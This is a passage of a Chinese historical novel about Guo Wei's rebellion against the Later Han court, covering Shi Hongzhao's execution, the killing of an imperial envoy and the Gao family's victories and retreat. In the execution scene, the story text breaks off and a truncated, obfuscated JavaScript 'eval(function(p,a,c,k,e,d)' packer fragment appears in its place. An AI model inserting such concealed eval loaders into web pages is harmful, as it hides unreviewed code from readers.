第二天一早,柴荣领着韩通去帅府见郭威。郭威坐在堂上,见韩通身材魁梧,眼神锐利,坐姿挺拔,心里先有了几分好感。柴荣在旁边夸韩通武艺高强,还懂兵法,当年在地方上领兵时,还打退过山贼。郭威听着,笑着对韩通说:“既然柴监军这么举荐你,我就给你个五营团练使司的职,你跟着柴荣一起招纳豪杰,操练兵马,怎么样?” 韩通赶紧跪下谢恩,心里又激动又踏实——终于不用再颠沛流离,还有了报仇的盼头。他跟着柴荣回了监军府,当天就开始忙活:先是把王二等人编进队伍,又出去张贴告示招兵,每天领着士兵操练,半点不敢懈怠。 这边韩通在禅州站稳了脚跟,京城却出了乱子。汉主自从登基后,天天沉迷酒色,还大兴土木建御园,老百姓怨声载道。他最宠信的国丈苏凤吉,是个十足的奸臣,见谁不顺眼就陷害,朝堂上大臣们都怕他。 有天苏凤吉收到细作的密报,说郭威在禅州招兵买马,规模越来越大。苏凤吉心里盘算:郭威手握兵权,要是哪天谋反,自己的地位就保不住了——不如先下手为强,在汉主面前说他的坏话,把他调回京城除掉。 第二天早朝,苏凤吉拿着笏板跪下:“陛下,臣收到密报,郭威在禅州招兵买马,看那样子是想谋反啊!请陛下赶紧想办法除掉他,免得以后出事。”汉主一听就慌了:“郭威真敢谋反?太师有什么办法?” 苏凤吉假装镇定地说:“陛下别急,咱们先派个官去禅州,传旨调郭威回京。要是他听话回来,说明没反心;要是他不回,那就是真要谋反,到时候再派兵去打,大臣们也不会有话说。”汉主觉得这主意好,当即就要传旨。 “陛下不能听他的!”突然有人喊了一声。汉主抬头一看,是平章事史弘肇。史弘肇穿着红袍,快步出列,跪下劝道:“陛下,郭威是先帝重用的人,当年跟着先帝打天下,立下多少功劳?现在他在禅州招兵,是为了防备边境的敌人,怎么能说他谋反?您要是无故调他回京,就是逼他反啊!” 汉主皱着眉:“可他招那么多兵,朕能不担心吗?要是等他势力大了,再想收拾就晚了。”史弘肇急得手抖:“陛下,您登基后天天建御园、沉迷酒色,苏凤吉在旁边煽风点火,陷害忠良,您怎么就看不清呢?郭威是国家的屏障,您要是动他,各镇诸侯都会心慌,到时候天下大乱,您怎么办?” 他越说越激动:“臣请陛下杀了苏凤吉,把苏皇后贬进冷宫,再给郭威加官,赏军民钱财,这样天下才能安稳!”汉主被骂得脸通红,勃然大怒:“朕建个御园怎么了?百姓有钱还建花园呢!苏皇后是朕的妻子,没做错事,凭什么贬她?你敢诽谤朕,还想杀太师,真是胆大包天!念你是先帝老臣,朕不杀你,革职为民,赶紧滚!” 史弘肇看着汉主昏庸的样子,心里又痛又冷,知道再劝也没用,站起身就要走。路过苏凤吉身边时,见苏凤吉正得意地笑,他再也忍不住,指着苏凤吉骂:“都是你这奸贼!迷惑君王,败坏朝政,迟早要把江山毁了!” 苏凤吉也急了:“你别血口喷人!我看你是跟郭威串通好要谋反,才这么护着他!”史弘肇气得眼前发黑,举起朝笏就往苏凤吉脸上打——“啪”的一声,朝笏都断成了三段。苏凤吉被打得鼻血直流,摔倒在地上,哭喊着:“陛下救命啊!史弘肇要谋反,还当着您的面打我!” 汉主一看这情景,更是怒火中烧:“史弘肇你好大的胆子!敢在朝堂上打人,还私通郭威谋反!来人啊,把他绑去市曹,等着斩首!”两边的驾上官冲上来,把史弘肇捆得结结实实。朝堂上的大臣们都吓得不敢说话,有几个跟史弘肇交好的,想求情又怕苏凤吉报复,只能偷偷叹气。 苏凤吉爬起来,擦着鼻血说:“陛下,史弘肇谋反,光杀他一个不够,他全家都得斩,免得留下后患!”汉主想都没想就答应了,传旨让殿前校尉去抄史弘肇的家。 校尉带着禁兵把史府围得水泄不通,不管老□□女,都绑了押往市曹。史弘肇的夫人柳氏,一路上都很镇定,还劝史弘肇:“老爷,你是忠臣,死得其所,别跟昏君奸臣计较。”史弘肇看着妻子,眼里含着泪:“我不是怕自己死,是可惜这天下,要毁在他们手里了。” 消息传到街上,老百姓都议论纷纷。卖菜的李大娘擦着眼泪说:“史大人是好官啊!去年我家儿子病了,没钱买药,还是史大人让人送了钱来。现在怎么就被抓了呢?”有个书生叫张默,抱着书叹气:“昏君信奸臣,忠良遭难,这天下要乱了。” 人群里有个六十多岁的老汉,是以前受过史弘肇恩惠的刘老栓。他召集大伙:“史大人是忠臣,咱们不能看着他就这么走了。大伙凑点钱,买些纸钱,去法场送送他,也算尽份心意。”老百姓都愿意,你一文我一钱地凑了钱,买了纸钱,往市曹去。 市曹周围围满了兵,弓上弦刀出鞘,老百姓根本靠近不了。刘老栓大声喊:“我们是来送史大人的,求各位兵爷让我们进去!”他领着大伙挤到前面,看见史弘肇和柳氏,还有家里一百多口人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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史福跪在地上,哭着把史弘肇全家被杀的事说了一遍。史彦超手里的酒杯“哐当”掉在地上,脸色瞬间惨白,大叫一声“我兄好冤”,当场晕了过去。周霸等人赶紧掐人中,过了好半天才醒。 史彦超咬牙切齿地骂:“昏君!奸臣!我兄为国家流血流汗,你们竟然杀了他全家!我不杀你们,誓不为人!”周霸劝道:“将军,现在不是冲动的时候。汉主杀了大人家兄,肯定也会对您下手。您现在兵少,不如去投郭威元帅——大人家兄就是因为帮郭威说话才被害的,郭威肯定会帮您报仇。” 史彦超想了想,点头道:“你说得对。我这就收拾家当,带着家人和你们,去禅州投郭威。愿意跟我走的,我感激;不愿意的,我也不勉强。”周霸、李刚等八员将领都跪下:“我们跟将军一起走!您待我们恩重,我们肯定跟着您!” 史彦超让人收拾行李,又把府里的钱财分给手下士兵,让愿意留下的自寻出路。当天晚上,他带着家人、八员将领和几百个亲信士兵,悄悄离开归德府,往禅州去。路上遇到巡查的兵,周霸出面假装是押送粮草的,才混了过去。 这边史彦超在赶路,禅州的郭威正在帅府闲坐。门官突然来报:“朝廷派了差官来,要元帅接旨。”郭威心里纳闷:自己没做错事,朝廷怎么突然派差官来?他赶紧领着柴荣、李筠等将领,出帅府迎接孟业。 孟业宣读圣旨,说要调郭威即刻回京。郭威听完,心里“咯噔”一下——史弘肇刚被杀,现在调自己回京,肯定是苏凤吉的主意,这一回去怕是凶多吉少。他请孟业坐下喝茶,假装平静地问:“孟大人,不知道陛下调我回京,是有什么要事?” 孟业眼神闪烁,支支吾吾地说:“陛下……陛下就是想召元帅回京议事,具体的,我也不太清楚。”郭威看着孟业的样子,心里更明白了——肯定是京城出了大事,孟业不敢说。 柴荣在旁边皱着眉,给郭威使了个眼色。郭威心里盘算:现在不能硬抗圣旨,但也不能就这么回去。他笑着对孟业说:“多谢孟大人传旨。只是现在禅州刚招了新兵,还没操练好,我得安排一下才能回京。还请孟大人先歇息,容我准备几天。” 孟业知道郭威是在拖延,但也没办法,只能答应。郭威送孟业去驿馆,回来后赶紧找柴荣、李筠商量。柴荣说:“肯定是苏凤吉害了史大人,现在又想害元帅。您不能回京,一回去就完了。”李筠也说:“不如先拖着,等史彦超将军来了——我听说他往禅州来,等他到了,咱们有了更多兵力,再做打算。” 郭威点了点头:“你们说得对。先等史彦超来,看看京城的情况,再决定下一步。”他心里清楚,这一回,怕是躲不过要跟朝廷对着干了——昏君奸臣当道,忠良遭难,自己要是不反抗,迟早也会像史弘肇一样被害。 只是不知道,史彦超什么时候能到?孟业会不会催着回京?一场更大的风波,正在等着郭威和禅州的将士们。欲知后事如何,且看下回分解。 31. 第 31 章 话说这年春天,禅州的帅府里暖意刚透进窗棂,郭威正对着案上的军报皱眉。他穿着一身半旧的青色便服,腰间系着铜带,鬓角已有些斑白——自从镇守禅州三年,他日日操练兵马、安抚百姓,眼下营中虽有两万将士,粮草却只够支撑三个月。旁边站着的军需官李诚,手里捧着账本,小声补充:“元帅,昨日城西的粮商又来问,能不能先预支些军饷,他们愿意把新收的麦子先运到营里来。” 郭威还没开口,门外突然传来一阵急促的脚步声,侍从连滚带爬地进来:“元帅!京城来的钦差到了,说是传圣旨,已经到二门了!” 郭威心里“咯噔”一下,手里的笔“啪”地落在纸上。他跟朝中的苏凤吉向来不对付——去年史弘肇史平章因为反对苏凤吉加税,全家都被幼主杀了,这事传过来时,他还跟柴荣、王朴感叹了好几晚。如今钦差突然来传旨,怕不是好事。他赶紧整了整衣服,快步迎出去,刚到大厅,就见一个穿着紫色官袍的人坐在上首,脸上堆着假笑,正是钦差孟业。 孟业见郭威进来,慢悠悠地站起身,从随从手里接过明黄的圣旨,清了清嗓子:“郭元帅,接旨吧。” 郭威跪下听旨,可耳朵里听着“调你即刻进京,问明招兵买马之事”,心里早翻了个底朝天:我在禅州练兵,是为了防北边的契丹,怎么就成了“可疑之举”?这分明是苏凤吉的主意,想把我骗进京除掉! 等孟业念完圣旨,郭威强压着怒气问:“大人,不知圣上调我进京,还有别的吩咐吗?” 孟业笑得更假了:“老元戎,陛下也是担心你啊。你要是没二心,进京跟陛下说清楚,自有忠臣保你回来;要是不肯去——”他指了指旁边侍从捧着的三样东西,“这白绫、毒酒、匕首,你选一样,也省得朝廷派兵来问罪。” 郭威的手紧紧攥成拳头,指节都泛了白。他脑子里飞速盘算:进京肯定是死,可抗旨的话,手下的兵虽然忠心,却未必能敌得过朝廷的大军。正在两难时,堂下突然传来一声怒喝:“元帅别听他的!这是苏凤吉的奸计!” 郭威抬头一看,是监军柴荣。柴荣今年才二十出头,身材挺拔,手里按着腰间的宝剑,眼里冒着火:“孟大人,你以为我们不知道吗?去年史平章全家被害,就是你跟着苏凤吉在幼主面前嚼舌根!如今又来骗元帅进京,想斩草除根,你这种祸国殃民的东西,也配当钦差?” 孟业脸色一变,指着柴荣骂:“你一个小小的监军,也敢对钦差无礼?不怕我回朝参你一本,满门抄斩吗?” 柴荣哪里忍得住,“唰”地拔出宝剑,几步冲到孟业面前:“我今天就先斩了你这个奸贼,为史平章报仇!”话音刚落,宝剑已经劈了下去,孟业连叫都没叫出声,就倒在地上,血溅了一地。 旁边的将领们先是一愣,接着纷纷拍手:“杀得好!这种奸臣早就该杀了!” 郭威赶紧上前拉住柴荣,假意责备:“你这孩子,怎么这么冲动?杀了钦差,朝廷肯定会派兵来打,到时候咱们怎么办?” 柴荣却梗着脖子道:“元帅,现在不是怕的时候!幼主昏庸,苏凤吉把持朝政,忠臣一个个被害,咱们要是不反,迟早也会像史平章一样!您手里有兵,禅州的百姓也都服您,不如趁机起兵,杀到汴梁去,除了奸贼,另立贤君!” 将领们也跟着附和:“柴监军说得对!元帅,我们愿意跟着您干!” 郭威心里其实早就动了反心,只是怕人心不齐,如今见大家都愿意跟着自己,偷偷松了口气,却还是皱着眉道:“不是我不想反,只是咱们兵少粮缺,万一败了,你们的家眷怎么办?” “明公放心!”一个温和的声音从人群后传来,众人回头一看,是参谋王朴。王朴手里拿着一张星象图,走到郭威面前,指着图上的星星说:“我昨晚观天象,见代表幼主的帝星昏暗无光,汉朝气数已经尽了;而禅州这边,有一团旺气直冲云霄,这是您要成大事的征兆啊!现在起兵,天下的忠义之士肯定会响应,咱们怎么会败?” 郭威这才露出笑容,赶紧让人把孟业的尸体抬出去埋了,又吩咐摆酒,跟众人商量起兵的事。 第二天,帅府的大厅里摆了好几桌酒,将领们都到齐了。酒过三巡,郭威端着酒杯站起来:“各位兄弟,既然大家愿意跟着我起兵,我郭威感激不尽。可咱们从禅州到汴梁,有两千多里路,还要过黄河,朝廷要是调兵把黄河守住,咱们就难办了。大家有什么主意,尽管说。” 话音刚落,一个满脸络腮胡的将领“啪”地放下酒杯,站起来道:“元帅,您别担心!我王峻凭着这柄大斧,愿意当先锋,保管杀到汴梁去!那些诸侯的兵,在我眼里就是一堆烂木头!” 郭威却摇了摇头:“王将军,不是我不信你。高行周你知道吧?他在鸡宝山一战,把王彦章都逼得自刎了,他的高家枪法天下无敌,要是朝廷调他来拦咱们,怎么办?” 王峻性子急,一听这话就急了:“高行周怎么了?我照样能赢他!要是夺不了汴梁,我就不回来见您!” 正在这时,门外的侍从进来报:“元帅,河南归德府的史彦超节度使来了,说有急事要见您。” 郭威心里一动——史彦超是史弘肇的弟弟,史弘肇被害后,他就没了消息,怎么突然来了?赶紧吩咐:“快请他进来,我去二门接他。” 郭威刚走到二门,就见史彦超穿着一身沾满尘土的铠甲,脸上还有几道伤疤,身后跟着十几个疲惫的士兵,手里还牵着几个妇孺,像是刚逃出来的样子。史彦超一见郭威,眼泪就掉了下来,上前一步就要下跪,郭威赶紧扶住他:“贤弟,快起来,这是怎么了?” 两人进了大厅,史彦超一坐下,就哭着说:“元帅,您不知道,我哥被害后,苏凤吉还不肯放过我们家,派人去归德府抓我全家。我带着家眷和手下的兵突围,路上遇到追兵,我的副将张猛为了掩护我们,战死了……我没办法,只能来投奔您,求您帮我哥报仇!” 郭威拍着史彦超的肩膀,叹了口气:“贤弟,你放心,我这次起兵,就是要杀了苏凤吉,为史平章报仇。你先把家眷安置好,以后跟着我,咱们一起杀到汴梁去。” 史彦超连连道谢,郭威又让人给史彦超的手下安排住处,还让人重整酒席,给史彦超接风。 又过了几天,郭威选了个好日子——乾祐三年二月十六,决定起兵。他留下魏仁甫、赵修己镇守禅州,拜王朴为军师,史彦超为先锋,柴荣为监军,王峻为左营元帅,韩通为右营元帅,还让军需官李诚赶紧筹备粮草。没想到消息传出去后,禅州的百姓都主动来送粮,有的送麦子,有的送布匹,还有的年轻人直接来参军,郭威心里暖暖的,知道这兵没白练,百姓们都记着他的好。 到了起兵那天,教场上人山人海,郭威亲自祭旗,炮声一响,两万大军浩浩荡荡地出了禅州,一路上攻打府州,那些地方官早就听说郭威的名声,有的开门投降,有的弃城而逃,大军势如破竹,很快就占领了滑州。 另一边,汴梁城里的幼主正因为孟业的随从逃回来说郭威杀了钦差、起兵造反的事生气,又接到地方官的急报,吓得脸都白了,赶紧把苏凤吉叫来:“苏爱卿,郭威反了,已经占了滑州,你快想办法!” 苏凤吉却一点都不慌,笑着说:“陛下别担心,我保举一个人,肯定能把郭威抓来。” 幼主赶紧问:“是谁?” “潼关元帅高行周啊!”苏凤吉说,“高将军用兵如神,智勇双全,让他领兵去打郭威,就像从口袋里拿东西一样容易!” 幼主大喜,赶紧写了圣旨,派钦差去潼关调兵。 钦差快马加鞭赶到潼关时,高行周正在营里跟副将赵毅商量防备契丹的事。他今年快六十了,头发已经白了大半,可腰板还是挺得笔直,手里的长枪依旧耍得虎虎生风。接到圣旨后,高行周皱起了眉头:“郭威是个忠臣啊,怎么会反?肯定是苏凤吉又在搞鬼。” 赵毅也跟着说:“元帅,苏凤吉这人心术不正,您要是去打郭威,说不定会中他的计。不如先上书问问陛下,到底是怎么回事?” 高行周叹了口气:“君命难违啊。我要是不去,陛下肯定会说我抗旨;可要是去了,万一郭威真的是被冤枉的,我岂不是成了奸臣的帮凶?”他想了半天,还是决定领兵出发:“我先带三万人马过去,看看情况再说。要是郭威真的反了,我就抓他回来;要是他是被冤枉的,我就帮他向陛下求情。” 第二天,高行周挑选了三万人马,带着儿子高怀德和副将赵毅,浩浩荡荡地出了潼关,日夜兼程地往禅州赶。可刚过黄河,就有探子来报:“元帅,滑州已经被郭威占了,他们的兵就屯在城里。” 高行周只好下令:“就在离滑州十里的地方下寨,明天再攻打。” 滑州城里,郭威正跟王朴商量怎么过黄河,突然有探子进来:“元帅,高行周带了三万人马,在城外十里下寨了!” 郭威手里的茶杯“哐当”一声掉在地上,脸色瞬间变得惨白。他跟旁边的将领们说:“你们不知道,高行周的高家枪法有多厉害!当年王彦章那么勇猛,都被他逼得自杀了,还有他的马前神课,算什么都准,咱们这次怕是难了。” 王朴赶紧安慰他:“明公别慌,我观天象,高行周的将星也昏暗了,他活不了多久了。不过有件事要注意——高行周的浑名是‘鹞子’,您的浑名是‘雀儿’,鹞子专吃雀儿,咱们要是跟他硬拼,肯定会输。不如咱们坚守滑州,不跟他交战,等他粮草用完了,自然会退兵。” 郭威点了点头:“还是军师想得周到。” 可旁边的史彦超一听就急了:“元帅,您怎么这么怕他?军师也太胆小了!一个高行周,有什么好怕的?我愿意带我的人去跟他交战,肯定能斩了他的头,为我哥报仇!”说完,他就要往外走,去牵马拿枪。 王朴赶紧拉住他:“史将军,不是我胆小,高家枪法变化多端,你可千万不能大意。你要是真的要去,一定要记住,知己知彼,别太冲动,要是打不过就赶紧回来。” 史彦超却摆了摆手:“军师放心,我肯定能赢!”说完,他披好铠甲,提上长 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高行周脸色一沉:“史彦超,你别胡说!你哥史弘肇在世时,都不敢跟我这么说话!你跟着郭威造反,犯了弥天大罪,还敢在这里叫嚣?我念在你哥的面子上,放你一条生路,赶紧让郭威出来受死!” 史彦超气得脸都红了,举起长枪就朝高行周刺去:“老贼,我今天非要杀了你!” 高行周刚要举枪迎战,旁边突然冲出一个年轻将领,骑着一匹白马,手里的长枪快如闪电,朝史彦超的肋下刺去。史彦超吓了一跳,赶紧收回长枪,挡住了这一击。他抬头一看,只见这年轻将领脸蛋像圆圆的满月,嘴唇红得像涂了朱砂,头上的银盔缀着亮晶晶的红缨,素色战袍下摆露出雪白的铠甲,看起来英气逼人。 “你是谁?敢来拦我!”史彦超大喝一声。 年轻将领笑了笑:“反贼,连我都不认识?我是高行周的儿子,左天蓬高怀德!你跟着郭威造反,今天我就取你的狗命!”说完,他举起长枪,又朝史彦超刺去。 史彦超也不含糊,举起长枪迎战。两人的马在阵前转来转去,长枪你来我往,打得不可开交。史彦超虽然年纪大了,但他久经沙场,枪法又快又狠;高怀德年轻力壮,高家枪法被他练得炉火纯青,一点都不落下风。 两人打了七八十回合,还是分不出胜负。高怀德心里暗想:这史彦超果然有两下子,要是跟他硬拼,不知道要打到什么时候。不如我先假装不敌,等他放松警惕,再用钢鞭打他。想到这里,高怀德就收回长枪,只防守不进攻,故意往后退。 高行周在阵前看着,心里有点着急。他知道儿子的枪法厉害,可现在却只防守,还以为儿子打不过史彦超,脸上顿时觉得没面子,忍不住下令:“擂鼓!给怀德助威!” 营里的战鼓“咚咚咚”地响了起来,士兵们也跟着大喊:“高将军加油!杀了反贼!” 高怀德听到鼓声,回头一看,见父亲在阵前皱着眉,心里明白父亲是着急了。他趁着史彦超拍马冲过来的机会,偷偷从腰里摸出一根钢鞭,握在左手里。史彦超以为高怀德怕了,双手举着长枪,朝高怀德的脸刺去。 高怀德右手举枪挡住,趁着两马相交的瞬间,左手猛地举起钢鞭,大喝一声:“着!”钢鞭“啪”地一声打在史彦超的背上。 史彦超只觉得后背一阵剧痛,嘴里喷出一口鲜血,趴在马背上就往回跑。高怀德拍马就追,嘴里喊着:“别跑!留下你的命来!” 就在这时,旁边突然冲过来一队人马,为首的正是王峻。王峻举起大斧,朝高怀德砍去:“别追了!我来会你!” 高怀德见有人来接应,只好停下马来,跟王峻打了起来。史彦超趁机逃回了滑州城,刚到帅府,就从马上摔了下来,郭威赶紧让人把他抬到床上,请大夫来看。 史彦超躺在床上,吐着血说:“元帅,我没用,没杀了高行周,还让您担心了……” 郭威拍着他的手说:“贤弟,别这么说,你已经尽力了。高怀德确实厉害,咱们以后再想办法。” 城外,高怀德跟王峻打了几个回合,见王峻的斧法虽然勇猛,却没什么技巧,心里暗笑:这种货色,也敢来跟我打?他故意卖了个破绽,等王峻举斧砍过来时,突然一□□向王峻的肋下,王峻赶紧躲开,却被高怀德的枪尖划破了铠甲,吓得他赶紧勒马后退:“你等着,我下次再跟你打!”说完,带着人马逃回了城里。 高怀德也不追,勒马回到营里,高行周见儿子赢了,高兴得不行,拍着他的肩膀说:“好儿子,没给我丢脸!” 滑州城里,郭威看着受伤的史彦超和王峻,心里又着急又担心。王朴赶紧安慰他:“明公别慌,高行周虽然厉害,但他的粮草不多,咱们只要坚守不出,等他粮草用完了,自然会退兵。到时候咱们再趁机过黄河,直取汴梁。” 郭威点了点头,心里却还是没底——高行周真的会那么容易退兵吗?而高怀德的枪法那么厉害,下次再交战,又该怎么办? 毕竟史彦超的伤能不能好,郭威能不能顺利过黄河,且听下回分解。 32. 第 32 章 且说滑州城外,史彦超正与高怀德厮杀得难解难分。史彦超心里揣着杀兄之仇——三年前他兄长史弘肇被奸人陷害满门抄斩,他一直认定高家与这事脱不了干系,今日见了高怀德,恨得牙根发痒,眼里只盯着对方的破绽,却忘了提防身后。高怀德本就武艺高强,见他心神不宁,立刻心生一计:故意卖个破绽,让史彦超的□□空,自己则趁机调转马头,反手一鞭,重重抽在史彦超后心。 “噗——”史彦超一口鲜血喷在马鞍上,身子晃了晃,强撑着伏在马背上往回逃。高怀德哪肯放过,拍马就追,眼看就要追到对方营门的门旗之下,突然有一员大将提着板斧冲了出来,高声喝道:“小辈休要逞能!敢追我兄长,我王峻来会你!” 这王峻生得极为凶悍:赤红的面庞上,络腮虎须根根倒竖,一双金瞳圆睁,透着股狠劲,鼻尖尖的,更添了几分凶相。他头上戴着镀了层厚金的头盔,阳光一照,晃得人睁不开眼;身上穿的锁子甲层层叠叠,甲片间还沾着前几次征战的血污;手里提的纯钢大斧,斧刃磨得雪亮,一看就斩过不少敌兵;□□那匹枣红马,四蹄稳健,显然是久经沙场的良驹。 高怀德见他模样凶恶,也不搭话,提枪就冲了上去。王峻抡起大斧,“嗖”的一声劈头砍来,高怀德忙用枪杆去架,只觉双臂一阵发麻,心里暗忖:“这丑贼力气真大,斧头也沉,硬拼肯定不行,得想个法子智取。”他故意拨转马头,像是要退,等王峻追上来时,突然回身挺枪直刺。 王峻知道高怀德本事高,又想起史彦超刚被他打伤,不敢大意,把全身力气都使在斧头上,同时还提防着对方放暗器。两人你来我往打了五十多回合,高怀德突然抽回长枪——王峻这一斧用了十成力,收不住势,斧头砍了个空,身子往后一仰。高怀德抓住机会,把梨花枪一紧,直往王峻心窝刺去。 “不好!”王峻反应也算快,急忙扯着马缰绳往旁边躲,可还是慢了一步,“嗖”的一声,枪尖刺穿了他左肋的盔甲,连带着战袍扯下来半幅,鲜血瞬间渗了出来。王峻吓得魂都快没了,脸色惨白,兜转马头,拖着大斧就往城里逃。 远处的高行周把这一切看在眼里,见儿子两战两胜,敌将吓得逃窜,心里又惊又喜。他把手里的枪一摆,身后的三军立刻呐喊起来,战鼓声像打雷似的响个不停。潼关兵紧随其后追杀,禅州的人马哪里抵挡得住,被砍得像切瓜剁菜一样,惨叫连连。这场厮杀的惨烈,直到后来,滑州城外的草木都还带着淡淡的红色——那是将士们的鲜血染透的。 史彦超和王峻带着重伤逃回城里,赶紧下令紧闭城门,再也不敢出来。高行周大获全胜,收兵回营,犒劳了将士们后,父子俩卸下盔甲,在帐中摆了酒。高行周看着儿子,越看越满意:怀德不仅勇猛,还懂谋略,比自己年轻时更出色。他端着酒杯,心里暗想着:“主上啊主上,要是你能好好重用我高家,就算郭威有天大的本事,也掀不起什么风浪。” 喝了两杯酒,高行周突然收了笑容,对怀德说:“我儿,你今天鞭打史彦超、枪挑王峻,他们肯定已经怕了。明天要是交战,争取一战就把他们打垮,也好早点奏凯回朝。不过你得记住,郭威手下虽然没什么厉害的武将,却有个叫王朴的谋士,这人足智多谋,还懂阴阳五行。我年轻时和他一起学过艺,他最擅长六壬奇门,能知过去未来,连天文地理都通晓。今晚你可得多上点心,提防他来劫营。” 怀德点头:“爹爹想得周全,我这就去吩咐兵士,今晚不睡觉,仔细盯着。”高行周随后传下军令,全军戒备了一整夜,倒也平安无事。 第二天黎明,将士们吃饱喝足,拔营起寨,在滑州城对面安了营。高行周让怀德去城下讨战,怀德披挂整齐,提着枪上了马,领着一队兵到了城下,指名道姓要郭威出来说话。可城门紧闭,连个人影都没见着。怀德在城下叫骂了一整天,嗓子都哑了,也没人应答,只好空着手回营。 就这样过了五天,不管城外怎么叫骂,城里始终没动静。怀德把这事告诉了高行周,高行周气得拍了桌子,把三万人马分了两万,去攻打滑州的四座城门,留下一万守营。兵士们拼命攻城,城上却不断往下扔灰瓶、石子,不少潼关兵被砸得头破血流。围攻了三天,滑州城还是纹丝不动。 其实这都是王朴的计策。他早就观过天象,知道最近不宜出战,只让将士们死守城池。再说滑州城本就坚固,城墙又高又厚,想一下子攻下来根本不可能。 这天,郭威亲自上城巡视,扶着城墙上的垛口往下看——城下的潼关兵个个奋勇,像潮水似的往城墙上冲,又像蜜蜂似的扎堆攻城。他想起前几天史彦超、王峻战败,心里本就慌,现在亲眼见这阵仗,更是吓得脸色发白,急忙下了城,回到帅府和众将商议。 “都怪我当初糊涂,一时冲动反了朝廷!”郭威捶着桌子,声音都在发颤,“现在天理昭彰,偏偏遇上高家父子这队兵,手下又没能和他们抗衡的大将,城还被攻得这么急,眼看就要破了,到时候大家一起送死,岂不是白费了诸位对我的拥戴?这可怎么办啊!” 众将都低着头不说话,这时王朴站了出来,从容道:“明公别担心,我之前就说过,高行周的将星昏暗,肯定会有灾祸。您再等十天,等您的大运一到,高行周自然会撤兵。我不是说空话,这都是上天显示的征兆。现在咱们只要守住城池,就不会有问题。”郭威听了,也没别的办法,只好照着王朴的话,传令让城上多准备灰瓶、炮石,日夜提防。 再说高行周,见攻城不下,兵士伤亡越来越多,只好下令撤兵回营,再想别的办法。父子俩回到营中时,天已经黑了,点上灯烛,吃过晚饭后,众将都退出帐外休息,怀德去查点三军,吩咐大家别懈怠,好好休息。 高行周独自坐在帐中,越想越心烦:“这都是因为天子年幼,被苏凤吉那奸人迷惑,赏罚不明,才把郭威逼反了。现在劳师动众,却连个城都攻不下来。”他又想起史弘肇一家被陷害的事,忍不住叹了口气:“史弘肇一生忠勇,最后却落得满门抄斩的下场,真是惨啊!”这么一想,他那点忧国忧民的心,也冷了一半。 不知不觉,鼓打了三更,营里静悄悄的,只有风吹过帐篷的声音。高行周站起身,走出中军营帐,看了看五营四哨的兵士,个个都守在岗位上,纪律严明。可一阵寒风刮来,他忍不住打了个寒颤,浑身像被冰裹住似的。他抬头望向天空,满天星斗亮晶晶的,格外耀眼。再往天河那边看,只见紫微斗的出口处飘着一团黑气,一会儿亮,一会儿暗;还有颗客星正朝着帝座的方向移动,帝座的主星却显得暗淡无光。 “不好!”高行周心里一沉,“这是大汉的天下要完了啊,以后肯定是郭威的天下。”他越想越愁,又被寒风一吹,突然打了个冷颤,只觉得身上发冷,慢慢开始发热。回到帐中,他心里烦躁不安,翻来覆去一夜没睡。 到了第二天,高行周的精神更差了,茶饭不思,连床都起不来,只好传令让怀德暂时管理军情,叮嘱三军不要轻举妄动。麾下的兵士见主帅病了,原本高涨的斗志,也泄了一半。 又过了几天,高行周的病更重了。这天夜里三更时分,他心里实在不安,对守在床边的怀德说:“我儿,扶我出去,再看看星象吧。” 怀德急道:“爹爹,您身子不好,得好好静养,等您病好了再看也不迟啊!” “没事,扶我出去看看,心里踏实。”高行周坚持道。怀德不敢违逆,只好扶着他慢慢走出帐外。 高行周抬头一看,自己的本命将星昏昏沉沉的,像要掉下来似的,他重重地叹了口气,一句话也没说。怀德扶他回后堂,坐在软榻上,看着父亲眉头紧锁的样子,忍不住问:“爹爹,您看了星象,怎么叹气啊?” 高行周苦笑一声:“我儿,你不懂星象的玄妙。我本不想说,可不说你又不明白。方才我看天象,我的本命将星已经暗了;前几天我还看到客星犯帝座,主星不明,这是要换君主的征兆啊!而且有股旺气正照着禅州,这说明郭威以后会得天下。我奉皇命来平叛,可上天不容,还让我生了病,没法灭贼,这都是天意啊!” 他顿了顿,接着说:“现在咱们的兵驻扎在这儿,白白浪费粮草。王朴又擅长守城,想很快破城根本不可能。要是顺天意,我绝不能投降郭威;可要是硬撑着挡着,我病得这么重,没法主持军务,还可能违逆天意,招来灾祸。真是进退两难啊!” 怀德听了,想了一会儿,说:“爹爹,我倒有个两全的法子,您听听行不行。既然是上天的征兆,咱们不能逆天行事。不如撤兵回潼关,先保住自己,听天由命,这也是个退路。等您病好了,再看局势变化,再做打算,您觉得怎么样?” 高行周点点头:“我儿,你年纪不大,倒看得透彻。我也想过这个法子,可就是怕于理不合。” “理?”怀德愣了一下,“爹爹,还有什么不合情理的?” “为臣要忠,为子要孝。”高行周叹了口气,“我吃着汉主的俸禄,却不能尽忠杀贼,反而想着保全自己,躲回潼关,要是被写进史书里,‘不忠’这两个字,我是逃不掉了。” 怀德急忙说:“爹爹,自古就有‘君不正,臣投外国’的说法。以前岑彭归顺汉朝,秦叔宝离开魏国投奔唐朝,这些都是有名的大将,他们不也换了君主吗?现在幼主昏庸,宠信奸人,杀了史弘肇这样的忠臣,哪里还顾得上我们这些开国功臣、立过汗马功劳的人?您别再犹豫了,咱们先回兵,等您病好了,再做打算也不迟。” 高行周本就有回兵的心思,听儿子这么一说,终于下定了决心,立刻传下将令,让大小三军准备好,第二天就回兵。兵士们本来就因为主帅生病而惶恐,一听要回兵,都松了口气,赶紧收拾行装。 可这里得说句公道话:做大将的,最要紧的就是有主见,要是没了主见,难免会被人议论。要是高行周当时能咬牙带病督战,在黄河口挡住郭威,就算违逆了天意,死了也能落个“尽忠死节”的名声。可他偏偏没了主意,听了怀德的话撤兵回潼关,后来虽然不肯归顺郭威,最后自刎尽忠,可今天撤兵这事,终究是个遗憾。闲话不多说,接着往下讲。 第二天五更时分,高行周下令三军拔营回师。怀德护住中军营,慢慢往潼关退去。这一撤兵,汉主的江山可就保不住了。 消息传到滑州城,郭威又惊又喜,可还是怕高行周是诱敌,心里犹豫不决,赶紧吩咐探子去打听消息,确认是真撤兵还是假撤兵。 王朴却摆了摆手,说:“元帅别多疑。我和高行周是同门,知道他懂天文。他见客星犯帝座,知道要换新君,又看到自己的将星暗了,肯定不敢逆天行事,所以才撤兵保全自己,坐看局势变化。他撤兵是真的,元帅只管进兵,不会有问题。” 